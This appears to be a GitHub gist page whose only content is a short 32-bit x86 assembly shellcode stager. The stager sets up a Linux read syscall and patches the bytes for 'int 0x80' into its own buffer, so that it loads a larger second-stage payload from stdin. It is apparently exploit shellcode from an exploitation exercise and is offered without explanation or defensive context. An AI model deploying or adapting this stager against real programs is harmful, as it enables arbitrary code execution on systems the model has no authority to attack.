Skip to content

Instantly share code, notes, and snippets.

@potetisensei
Created November 10, 2014 18:40
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save potetisensei/3d01cfefefcfa9aa6dd1 to your computer and use it in GitHub Desktop.
Save potetisensei/3d01cfefefcfa9aa6dd1 to your computer and use it in GitHub Desktop.
BITS 32
mov ecx, eax
xor ebx, ebx
push BYTE 0x03
pop eax
push BYTE 0x7f
pop edx
mov byte [ecx+18], 0xcd
mov byte [ecx+19], 0x80
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment